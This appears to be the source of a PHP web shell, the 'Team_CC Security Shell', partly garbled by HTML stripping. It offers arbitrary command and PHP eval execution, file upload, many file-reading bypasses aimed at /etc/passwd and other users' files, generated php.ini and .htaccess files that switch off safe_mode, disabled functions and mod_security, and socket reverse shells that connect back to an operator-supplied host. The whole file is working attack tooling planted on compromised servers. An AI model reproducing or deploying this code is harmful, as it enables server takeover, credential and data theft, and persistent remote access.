Team_CC Security Shell :: Team

Team_CC

System		Apache Modules
uname		Curl
pwd		Open Basedir
whoami		Magic_Quotes
Server		Register Globals
Server Name		Gzip
Your IP		Oracle
Server IP	[" target='_blank' />Reverse IP]	MSQL
PHP Version		MySQL
Safe Mode		MySQLi
disable functions		MsSQL

[MD5 Cracker] [SHA1 Cracker] [NTLM Cracker]

<?php 
chdir($dir);
if($_POST['login'] || !$_POST){echo ScanDirs();}
else if($_POST['CMD_Execute']){if(empty($_POST['CMD_Line'])){echo scanDirs();}else {Exe(urldecode(filter($_POST['CMD_Line']))); }}
else if($_POST['PHP_Execute']){$eval = Evaluation(urldecode(filter($_POST['PHP_Line'])));}
else if($_POST['UPLOAD_Execute']) {
	for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++) {
		if($_FILES['uploadfile']['name'][$i] != '') {
			if(function_exists('copy')){$upload = copy($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
			else{$upload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
			if($upload) {echo "The File  ".$_FILES['uploadfile']['name'][$i]." Uploaded Successfully !
";	}
			else { echo "The File  ".$_FILES['uploadfile']['name'][$i]."  Can't Be Upload :( !
";}
		}
	}		
}
else if($_POST['EDIT_Execute']){$content = htmlspecialchars(file_get_contents(filter($_POST['Edit_Line'])));echo $content;}
else if($_POST['SAVE_Execute']) {
	$content = filter($_POST['result']);
	if(empty($content)){$content = " ";}
	if(GenerateFile($_POST['FILE_NAME'],$content)){echo "[+]Saved Success !! ";}else{echo "[-]Save Failed !";}
}
else if($_POST['READ_Execute']) {
	$path = urldecode(filter($_POST['READ_Line']));
	$file = fopen($path,'r+');
	if($_POST['READ_Type'] == "file"){echo htmlspecialchars(filter(FileF($path)));	}
	else if($_POST['READ_Type'] == "fgets"){while(($line = htmlspecialchars(filter(fgets($file)))) != false){echo $line;}}
	else if($_POST['READ_Type'] == "fgetss"){while(($line = htmlspecialchars(filter(fgetss($file)))) != false){echo $line;}}
	else if($_POST['READ_Type'] == "readfile"){echo htmlspecialchars(filter(readfile($path)));}
	else if($_POST['READ_Type'] == "fread"){echo htmlspecialchars(filter(fread($file,filesize($path))));}
	else if($_POST['READ_Type'] == "file_get_contents"){echo htmlspecialchars(filter(file_get_contents($path)));}
	else if($_POST['READ_Type'] == "tempnam"){echo htmlspecialchars(filter(TempnameF($path)));}
	else if($_POST['READ_Type'] == "copy"){echo htmlspecialchars(filter(CopyF($path)));}
	else if($_POST['READ_Type'] == "mb_send_mail"){echo htmlspecialchars(filter(mbSendEmail($path)));}
	else if($_POST['READ_Type'] == "highlight_file"){echo htmlspecialchars(filter(highlightFile($path)));}
	else if($_POST['READ_Type'] == "curl"){echo htmlspecialchars(filter(CurlFileRead($path)));}
	else if($_POST['READ_Type'] == "imap"){echo htmlspecialchars(filter(ImapF($path)));}
	else if($_POST['READ_Type'] == "id"){echo htmlspecialchars(filter(ReadId($path)));}
	else if($_POST['READ_Type'] == "show_source"){echo htmlspecialchars(filter(show_source($path)));}
	else if($_POST['READ_Type'] == "mysql"){echo htmlspecialchars(filter(MySQLReader($path)));}
	else if($_POST['READ_Type'] == "mysqli"){echo htmlspecialchars(filter(MySQLIReader($path)));}
	else if($_POST['READ_Type'] == "symlink"){echo htmlspecialchars(filter(SymlinkF($path)));}
	else if($_POST['READ_Type'] == "ioncube"){echo htmlspecialchars(filter(ioncube_read_file($path)));}
	else if($_POST['READ_Type'] == "error_log"){echo htmlspecialchars(filter(ErrorLog($path)));}
	else if($_POST['READ_Type'] == "include"){echo htmlspecialchars(filter(IncludeReader($path)));}
}
else if($_POST['STOP_Execute']) {
$genTry = GenerateFile("php.ini","
safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF");
	if($genTry){echo "[+] php.ini Has Been Generated Successfully 
";}
	else {echo "[-] Failed to generate php.ini file !! 
";}
	
	$genTry = GenerateFile(".htaccess","
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
SetEnv PHPRC ".getcwd()."/php.ini
	");
	if($genTry){echo "[+] .htaccess Has Been Generated Successfully 
";}
	else {echo "[-] Failed to generate .htaccess file !! 
";}
}
else if($_POST['CON_Type'] == "socks") {
	$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
	if($sock < 0){echo "[-] failed to create socket.";}
	else {
		$result = socket_connect($sock, filter(trim($_POST['ip'])), filter(trim($_POST['port'])));
		if($result < 0){echo "[-] failed to connect back to host:".$_GET['host'];}
		else {
			$send_var = "\n\n -== Team_CC , Back Connection ==-\n$";
			socket_write($sock, $send_var, strlen($send_var));
			while($input = socket_read($sock, 10000)) {
				socket_write($sock, shell_exec($input), 12000);
			}
		}
	}
} else if($_POST['CON_Type'] == "fsockopen") {
	$ip = filter(trim($_POST['ip']));
	$port = filter(trim($_POST['port']));
	if (!empty($ip)) { 
		$con_fsockopen = fsockopen($ip , $port , $errno, $errstr ); 
		if (!$con_fsockopen){ 
			$result = "Error: didnt connect !!!"; 
		} else { 
			$newLine="\n";           
			fputs ($con_fsockopen ,"\n\n -== Team_CC , Back Connection ==-\n$");
			fputs($con_fsockopen , system("uname -a") .$newLine );
			fputs($con_fsockopen , system("pwd") .$newLine );
			fputs($con_fsockopen , system("id") .$newLine.$newLine );
			while(!feof($con_fsockopen)){  
				fputs ($con_fsockopen); 
				$one="[$";
				$two="]";
				$result= fgets ($con_fsockopen, 8192); 
				$message = $result; 
				fputs ($con_fsockopen, $one. system("whoami") .$two. " " .$message."\n"); 
			} 
			fclose ($con_fsockopen); 
		}
	}
}
else if($_POST['USERS_1']){echo GetUsers1();}
else if($_POST['USERS_2']) {
	 $array = GetUsers2();
	 foreach($array as $line)
	 {echo $line."
";}	
}
else if($_POST['USERS_3']) {
	 $array = GetUsers3();
	 foreach($array as $line)
	 {echo $line."
";}	
}
else if($_POST['USERS_4']) {
	 $array = GetUsers4();
	 foreach($array as $line)
	 {echo $line."
";}	
} else if($_POST['USERS_5']){echo GetUsers5();}
else if($_POST['forbidden_bypass']) {
	mkdir("forbidden");
	chdir("forbidden");
	$forbidden_htaccess = GenerateFile(".htaccess", "
DirectoryIndex cc.txt
HeaderName cc.txt
ReadmeName cc.txt
footerName cc.txt
ErrorDocument 404 /404.html 
404.html = Symlinked cc.txt
Options all
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddHandler server-parsed .php
AddHandler txt .php
	");
	if($forbidden_htaccess) {
		echo "[+] make your symlink as cc.txt in /forbidden/ folder and find the url /forbidden/cc.txt or /forbidden/";
	} else {
		echo "[-] error with generating .htaccess file.";
	}
} else if($_POST['find_755']) {
	Exe("ls -dl /home/*/public_html/ | grep drwxr-xr-x");
}
?>

";} ?>

$val) { $str = explode(":",$val); array_push($array,$str[0]); } return $array; } function GetUsers3() { $array = array(); if ($dh = opendir("/home/")) { while (($file = readdir($dh)) !== false) { array_push($array,$file); } closedir($dh); return $array; } } function GetUsers4() { $dir = "/home/"; $array = array(); if ($dh = opendir($dir)) { $f = readdir($dh); while (($f = readdir($dh)) !== false) { $dh2=opendir($dir."/"); $f2 = readdir($dh2); while (($f2 = readdir($dh2)) !== false) { $f2.="/"; $dh3=opendir($dir.$f.$f2); $f3 = readdir($dh3); while (($f3 = readdir($dh3)) !== false) { array_push($array,$f3); } } } closedir($dh); return $array; } } function GetUsers5(){ return realpath('/etc/passwd'); } function ErrorLog($path){ $tempFile = uniqid(); if(get_magic_quotes_gpc() != 0){$path = addslashes($path);} error_log(file_get_contents($path), 3, $tempFile); $content = file_get_contents($tempFile); unlink($tempFile); return $content; } function SymlinkF($path) { $tempFile = uniqid(); if(function_exists('symlink')) { symlink($path,$tempFile); $content = file_get_contents($tempFile); unlink($tempFile); return $content; } } function MySQLReader($path) { global $DBhost,$DBuser,$DBpass; if(get_magic_quotes_gpc() != 0){$path = addslashes($path);} $con = mysql_connect($DBhost,$DBuser,$DBpass); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT,INSERT ON a.a TO '".$DBuser."'"); mysql_query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a") or die(mysql_error()); $result = mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)){print $row . chr(10);} mysql_query("DROP DATABASE a"); } function MySQLIReader($path) { global $DBhost,$DBuser,$DBpass; if(get_magic_quotes_gpc() != 0){$path = addslashes($path);} $con = mysql_connect($DBhost,$DBuser,$DBpass); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); function r($fp, &$buf, $len, &$err) { print fread($fp, $len); } $m = new mysqli($DBhost, $DBuser, $DBpass, 'a'); $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); $m->set_local_infile_handler("r"); $m->query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a"); $m->close(); } function DBConnect($host,$user,$pass,$db) { $connect = mysql_pconnect($host,$user,$pass); if(!$connect){echo "Can't Connect to [ ".$host." ] [ ".$user." ] [ ".$pass." ]"; return false; } else { $tryToSelectDB = mysql_select_db($db,$connect); if(!$tryToSelectDB){echo "Can't Enter The Database [ ".$db." ]"; return false; } else{return true; return $connect;} } } function ReadId($path) { for($uid=0;$uid<60000;$uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)){while (list ($key, $val) = eah($ara)){$content .= $val;} } } return $content; } function ImapF($path) { $stream = imap_open($path, "", ""); $str = imap_body($stream, 1); imap_close($stream); return $str; } function FileF($path) { $lines = file($path); foreach($lines as $line){$content .= $line;} return $content; } function CopyF($path) { $tempFile = md5(uniqid()).".bb"; copy($path,$tempFile); $content = file_get_contents($tempFile); unlink($tempFile); return $content; } function fgetssF($path) { while(($line = fgetss($path)) != false){$content .= $line;} return $content; } function highlightFile($path) { return highlight_file($path); } function mbSendEmail($path) { if(function_exists('mb_send_mail')) { $tempFile = uniqid(); $additional_param = "-C ".$path." -X ".getcwd()."/".$tempFile; mb_send_mail("email@example.com", NULL, NULL, NULL, $additional_param); $content = file_get_contents($tempFile); unlink($tempFile); return $content; } } function DeleteFile($fileName) { global $os; if(function_exists('unlink')) {$delete = unlink($fileName);} if((!$delete) && ($os == 'Windows')) {$delete = Exe("del $fileName"); } else if((!$delete) && ($os == 'Linux')) {$delete = Exe("rm -f $fileName");} if($delete){return true;}else{return false;} } function CurlFileRead($path) { $ch = curl_init("file://".$path."\x00".__FILE__); var_dump(curl_exec($ch)); } function FReadF($path) { $file = fopen($path,'r+'); //Open The File if(function_exists('fread')){htmlspecialchars(fread($file,filesize($file)));} fclose($file); } function TempnameF($path) { global $dir; $temp = tempnam($dir, "cx"); if(copy("compress.zlib://".$path, $temp)) { $handler = fopen($temp, "r"); $readFile = fread($handler, @filesize($temp)); fclose($handler); $content .= htmlspecialchars($filename); $content .= nl2br(htmlspecialchars($readFile)); $content .= htmlspecialchars($filename); unlink($temp); return $content; } } function Evaluation($eval) { $eval = str_replace(array(""),"",$eval); $eval = eval($eval); if($eval){return true;}else{return false;} } function Oracle() { if(function_exists('ocilogon')){$oracle = 'ON';} else {$oracle = 'OFF';}return $oracle; } function MsSQL() { if(function_exists('mssql_connect')){$msSQL = 'ON';} else {$msSQL = 'OFF';}return $msSQL; } function MySQL2() { $mysql_try = function_exists('mysql_connect'); if($mysql_try){$mysql = 'ON';} else {$mysql = 'OFF';}return $mysql; } function MSQL() { if (function_exists('msql_connect')){$mSql = 'ON';} else {$mSql = 'OFF';}return $mSql; } function MysqlI() { if (function_exists('mysqli_connect')){$mysqli = 'ON';} else {$mysqli = 'OFF';}return $mysqli; } function Gzip() { if (function_exists('gzencode')){$gzip = 'ON';} else {$gzip = 'OFF';}return $gzip; } function openBaseDir() { $openBaseDir = ini_get("open_basedir"); if (!$openBaseDir){$openBaseDir = 'OFF';} else {$openBaseDir = 'ON';} return $openBaseDir; } function Curl() { if(extension_loaded('curl')){$curl = 'ON';} else{$curl = 'OFF';}return $curl; } function magicQouts() { if(function_exists('get_magic_quotes_gpc')){$mag = get_magic_quotes_gpc();} if (empty($mag)){$mag = 'OFF';} else {$mag= 'ON';}return $mag; } function SafeMode() { $safe_mode = ini_get("safe_mode"); if (!$safe_mode){$safe_mode = 'OFF';} else {$safe_mode = 'ON';} return $safe_mode; } function DisableFunctions() { $disfun = ini_get('disable_functions'); if (empty($disfun)){$disfun = 'NONE';}return $disfun; } function RegisterGlobals() { if(ini_get('register_globals')){$registerg= 'ON';} else{$registerg= 'OFF';}return $registerg; } function GetRealIP() { if (getenv(HTTP_X_FORWARDED_FOR)){$ip=getenv(HTTP_X_FORWARDED_FOR);} elseif (getenv(HTTP_CLIENT_IP)){$ip=getenv(HTTP_CLIENT_IP);} else {$ip=getenv(REMOTE_ADDR);} return $ip; } function SelectCommand($os) { global $os; if($os == 'Windows') { echo " "; } else { echo " "; } } function CSS($sh3llColor) { $css = " "; return $css; } function filter($string) { if(get_magic_quotes_gpc() != 0){return stripslashes($string); } else{return $string; } } function footer() { echo '

~~<< Official Shell by Team_CC >>~~
~~<< https://www.facebook.com/groups/186584231515603 >>~~
~~<< sec.d4rk@gmail.com >>~~

'; } function print_exe_method() { global $os; global $exec_method; if($os == "Linux") { ?> array("pipe","w"),1=>array("pipe","w")); $process=proc_open($com,$start_pipe,$pipes,$dir,NULL); return stream_get_contents($pipes[1]); } function winshell($command) { $name=whereistmP()."\\".uniqid('NJ'); win_shell_execute('cmd.exe','',"/C $command >\"$name\""); sleep(1); $exec=file_get_contents($name); DeleteFile($name); return $exec; } function srvshell($command) { $name=whereistmP()."\\".uniqid('NJ'); $n=uniqid('NJ'); $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); while(!file_exists($name))sleep(1); $exec=file_get_contents($name); DeleteFile($name); return $exec; } function ffishell($command) { $name=whereistmP()."\\".uniqid('NJ'); $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0); while(!file_exists($name))sleep(1); $exec=file_get_contents($name); DeleteFile($name); return $exec; } function perlshell($command) { $perl=new perl(); ob_start(); $perl->eval("system('".$command."')"); $exec=ob_get_contents(); ob_end_clean(); return $exec; } function slashBypass($cmd) { GenerateFile("cmd.bat","$cmd>sy3.txt"."\r\n exit"); exec("\start cmd.bat"); $content = file_get_contents('sy3.txt'); unlink('sy3.txt'); return $content; } function GenerateFile($name,$content) { if(function_exists('fopen') && function_exists('fclose')) { $file = fopen($name,"w+"); if($file) { if(function_exists('fwrite')){$writeFile = fwrite($file,$content); } else if (function_exists('fputs')){$writeFile = fputs($file,$content); } else if (function_exists('file_put_contents')){$writeFile = file_put_contents($file,$content);} if(!$writeFile){return false;} } else{return false;}fclose($file);return true; } } function ScanDirs() { global $os; global $dir;global $safeMode;global $dir_mode; if($dir_mode == "cmd"){if($os == "Windows"){Exe('dir');}else{ Exe('ls -lia');}} else { $result .= "Perms Size Time Owner/Group R/W Type File ----------------------------------------------------------------------------- "; $handel = opendir($dir); while(($file = readdir($handel))!= false) { $size = filesize($file); if(filetype($file) == "dir"){$type = "";}else {$type = "";} if(fileowner($file)){$owner = fileowner($file);}else{$owner = "NONE";} if(filegroup($file)){$group = filegroup($file);}else{$group = "NONE";} $perms = fileperms($file); $time = date("y/m/d", filectime($file)); if(is_writable($file)){$isWritable = "Y";}else{$isWritable = "N";} if(is_readable($file)){$isReadable = "Y";}else{$isReadable = "N";} $result .= $perms." ".$size." ".$time." ".$owner."/".$group." ".$isReadable."/".$isWritable." ".$type." ".$file." "; } } return $result; } echo footer(); ?>